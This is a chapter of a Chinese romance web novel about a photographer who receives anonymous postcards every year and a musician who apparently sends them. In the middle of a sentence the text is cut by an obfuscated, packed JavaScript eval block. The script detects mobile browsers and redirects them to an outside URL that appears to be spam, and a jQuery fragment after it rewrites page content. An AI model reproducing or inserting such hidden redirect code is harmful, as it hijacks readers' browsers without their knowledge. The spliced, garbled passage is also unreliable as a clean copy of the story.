九月，江城到处都弥漫着炙热的空气。
新老城区被一条横贯南北的公路分隔开来，远远望去，像两段彼此错位的时空。新区高楼林立，玻璃幕墙映着刺眼日光；老城区却仍旧是低矮的红砖瓦房，墙面斑驳，树影婆娑，风一吹，梧桐叶便簌簌落下。
老街两侧红砖瓦墙斑驳，日光直下，一间工作室坐落在不起眼的街角。
白墙黑字，窄门紧闭。门边立着一个老式红色信箱，漆面已经褪色，边角还有些许掉漆痕迹。这样的信箱如今已经很少见了。
午后烈阳炽盛。
穿着绿色制服的邮递员骑车停在门口，从包里取出一封白色信件熟练地插进信箱缝隙。
不久后，一道身影停在了门前。
风铃轻晃，发出一阵清脆声响。
陈漾抬头看向门外。
工作室位于老城十字路口，两旁梧桐生得高大繁茂，枝叶将窄门遮了大半。阳光从树叶缝隙里漏下来，在门前落了一地细碎光影。
进门是一条狭窄玄关，宽度和门相差无几。墙里嵌着储物柜，里面堆满摄影器材和胶卷。再往里走，空间便开阔许多，靠里木质楼梯通往二层。
室内整体暖白色调，木地板，暖灯光，左侧摆着几张工作桌和电脑，尽头还有一道暗门，是陈漾平时冲洗照片用的暗房。
右边则放着两张宽大的沙发，中间茶几堆满镜头盖、文件夹和乱七八糟的零食。
“阿漾，那人又寄来了。”于忻推门进来，把信封往茶几上一放。
听见声音，陈漾从暗房探出头，“放那儿吧，我把这几张洗完。”
“行。”于忻没客气，顺手把包一丢，整个人瘫进沙发里，又从茶几底下翻出一包薯片。
暗房里隐约传来水声。
没多久，陈漾便走了出来。
她先去旁边洗了手，边擦水边问：“怎么突然回来了？”
女人素着脸，皮肤很白，长发随意挽成低丸子头，几缕碎发垂在耳边。她穿着宽松的米白色衬衫和长裤，袖口挽到小臂。
工作室东西太多，陈漾顺手理了理桌上散乱的物件。
于忻从事娱乐新闻行业，常年全国各地跑采访。前阵子还在微信里疯狂吐槽工作没人性，连睡觉时间都快没了。
按她原本的行程，现在应该还在外地。
于忻抱着薯片，一脸生无可恋地瘫在沙发上，闻言幽幽开口：“结束了，一切都结束了。”
她把手机往旁边一扣，翻身趴在沙发靠背上。
“秃顶猴子让我背锅，我直接掀桌不干了。”
陈漾挑了下眉，“辞职了？”
“辞了。”于忻一提这事就来气。
她那个主管一直看她不顺眼，这次新闻出了岔子，她明明提前提醒了好几遍，对方偏不听，结果事情闹大现在又想把她推出去挨骂。
“那老东西还暗示我，说什么先认下来以后会补偿我。”于忻冷笑，“我当场把录音甩工作群了。”
她越说越解气，“然后辞职，订机票，连夜跑路。”
说完，于忻仰天长叹，“所以我现在正式成为无业游民了——”
“但这不是重点。”她忽然坐直，“重点是我妈联合老于同志，向我下达最后通牒。”
陈漾正在低头整理相纸，“什么通牒？”
“相亲。”
于忻面无表情，“明天。”
陈漾没忍住笑了。
于忻今年二十七，她妈却喜欢按虚岁算年龄，逢人就说她“三十了还不结婚”。
这两年安排过不少相亲对象，于忻最开始还去应付过两次，后来直接拿工作忙当借口。
“这么急？你才刚回来。”
“对啊！”于忻越想越气，“我爸之前还跟我统一战线，结果我妈一发火他立马倒戈。”
她痛心疾首，“男人的话果然都不可信。”
陈漾低头看了眼手机，工作消息不断往外弹。
于忻余光一扫，看见茶几上的行程单，顺手拿了起来，“你月底要去北城？”
“嗯。”陈漾点头，“要过去待一阵。”
于忻视线落在其中一个名字上，忽然顿了一下。
与此同时，陈漾也想起自己忘记说什么，“对了，我这次和——”
“打住。”
于忻立刻把纸放下，假装什么都没看见似的岔开话题，“今年还是明信片？”
她晃了晃手里的白色信封。
陈漾见状，也没再继续刚才的话，只伸手接过，“应该是。”
“真够坚持不懈的。”于忻啧了声。
七年前，陈漾刚搬进这间工作室，门口那个红色信箱原本只是装饰。
直到某年十月她出差回来时，发现里面莫名多了一个信封。
当时她以为是谁塞错了广告传单，后来拆开才发现——
里面是一张明信片。
那时候事情太多，陈漾没怎么在意，只随手放到一旁。
可第二年、第三年、第四年……
每年九月底，她都会收到一张同样的明信片。
没有署名，没有寄件地址。
只有照片和一串邮编。
陈漾不是没查过。
她调过监控，也问过投递工作人员，可所有明信片寄件地址显示的始终只是公共邮箱。
茫茫人海无处可寻，像有人故意抹掉了痕迹。
后来于忻知道这事，闲得没事还帮她研究过一阵。
最后得出结论——
寄错地址了。
陈漾自己想来想去，也觉得大概如此。
于是这些年，她便把明信片都收了起来。
想着哪天寄件人发现寄错了，总会回来取。
她拆开信封。
明信片正面是一张街景照。
青灰色长街，老旧路牌，梧桐枝叶遮住半边天空。
背面依旧只有一串邮编。
以及右下角那两个熟悉字母。
——jy。
七张明信片，全都如此。
陈漾低头搜了搜图片来源，今年的照片来自北城一条老街。
她盯着看了几秒。
想着这次去北城或许可以顺路过去看看。
窗外树叶沙沙作响，日光随时针倾斜，透过未拉上的百叶窗落在室内一隅。
玻璃展柜里，安静的躺着七张明信片。
沿街梧桐正盛，树影婆娑，红砖石瓦。
白墙被染上几分颜色，红色信箱安静立在绿叶下，往上，一行立体手写花字贴在门边——「木野」。
…
“Themomentwhenthestarsfall.”
“Iheardyourvoice.”
“……”
“OK！”录音室外，程简摘下耳机比了个手势，对着话筒道：“沈老师，可以收工了。”
片刻后，录音室门被推开。
男人身形高挑，眉眼冷艳，一双桃花眼生得极其漂亮，薄唇微抿。
“辛苦了。”沈燎点头。
“沈老师才辛苦。”程简笑着和对方确认了后续安排，又寒暄几句，工作人员便陆续离开。
很快，录音室重新安静下来。
程简重新放了一遍刚录完的音频，三分二十一秒，是一首节奏舒缓的英文歌。
沈燎嗓音辨识度极高，情绪处理也稳，程简截了一小段，顺手发给聊天框里某个人。
【录完了，怎么样？】
对面没立刻回复。
程简把手机丢到一边。
室内凉风习习，日光西斜，从未完全拉上的窗帘爬进来，程简收了尾看手机，刚刚的聊天框多了一条消息——
【我过来一趟】
时间显示半个小时前。
程简挑了下眉，正想问人怎么还没到，门外忽然传来脚步声。
下一秒，门被推开。
夕阳大片坠在门边被一双白鞋踩碎，来人穿着一身黑衣黑裤，帽檐压低，身后橘色余晖铺了满地。
不知道的，还以为刚从什么犯罪现场回来。
程简没忍住乐了，“哟，你这是刚从哪个旮旯儿钻出来？”
对方没理径直拉开椅
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588902|205403||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子坐下，戴上耳机，顺手按了播放。
“刚起。”男人声音低哑，带着点刚睡醒的倦意。
程简笑了笑，见他开始听，也没再打扰，自顾自低头回消息。
一首歌结束。
江纪野摘下耳机。
程简随口问：“怎么样？”
“最后有点杂音。”
“帮我弄了。”程简瘫在椅子里，“坐一天腰快废了。”
江纪野没说话，直接低头开始调音轨。
程简闲不住，又开始翻工作安排，“下周那个活动你去不去？”
他看得一阵眼疼，退出微信准备上上网，不过十多秒，“嘶，好像由不得你了，网上已经开始说你要去了。”
程简顺手点开热搜，下一秒直接笑出声，“我靠，你和沈燎cp超话冲前五了。”
江纪野：“……”
程简越看越乐，“来来来，采访一下——”
他故意拿腔拿调：“请问纪老师，传闻你每次公开露面沈燎都在场，请问是否有意为之？”
江纪野终于抬眼。
“闭嘴。”
“哟，恼羞成怒了。”
“……”
“行，终究是错付了。”
“……”
“想当初——”
江纪野乜了他一眼，“弄好了。”
程简收了戏，浑身还是不正经，“晚上陪我下馆子去。”
“嗯。”
天色渐暗。
大片云层浮在城市上空，暮色一点点沉下来。
两人去了常去的一家餐厅，位于市中心。
正值晚高峰，街道车流不断，霓虹逐渐亮起。
程简和老板认识，刚进门便有人领他们去了最里面的包厢。
门一关，外头喧闹瞬间隔绝。
程简饿了一整天，点菜时恨不得把菜单翻穿，“等会儿林非也来。”
江纪野低头回消息，“让他把本子带上。”
“行。”
没多久，包厢门再次被推开。
林非穿着身休闲西装，看着像刚从哪个商务局逃出来，“纪野，本子。”
江纪野接过随手放到旁边。
程简已经开始埋头干饭，“非非，下周活动你去不？”
“去啊。”林非夹着排骨，“林总也去。”
林总是他姐林菁和，典型雷厉风行女强人，林非就是那个反例。
林非玩儿了几年被父母压着找个事儿做，到公司被她姐嫌，但好歹也没赶他，就随便混了个职位，私底下搞了不少副业。
“纪野那歌下周首唱。”程简话多，从发歌聊到圈里新闻，话题根本停不下来，俨然有谈天说地的趋势。
两个人聊的热火朝天，甚至叫了几听啤酒。
江纪野吃了几口就没动筷了，看着手机里的视频。
屏幕里播放着一个视频。
高楼、长街、老寺庙。
梧桐树影摇晃，江水拍打岸边礁石。
是江城的城市宣传片。
发布时间显示五分钟前。
视频很快播放结束，江纪野退回作者主页。
共创名单里，除了官方账号，还有另一个名字。
——【木野】
头像是一片纯白，中央静静立着一棵树。
包厢里仍旧热闹，窗外夜色却已经彻底沉了下来。
“纪野，走了。”程简和林非喝了几瓶后终于屈服于酒量结束了吃饭。
江纪野回过神时，程简已经醉得东倒西歪，他只好先帮着把人送回去。
绕了一圈，然后独自开车回了工作室。
老城区的夜晚安静许多，巷子狭窄，路灯昏黄，周围的邻里街坊大多都是老一辈，天色已经完全黑了，江纪野踩着月光推开2070号的木门。
院子不大，四间房，一间他住，靠里那扇房门很少打开。
两只猫窝在树下睡觉，听见动静只懒洋洋抬头看了一眼，又重新蜷了回去。
夜风穿过院子，树影轻晃。
黑夜笼罩，月亮挂在树枝上，谧静无声。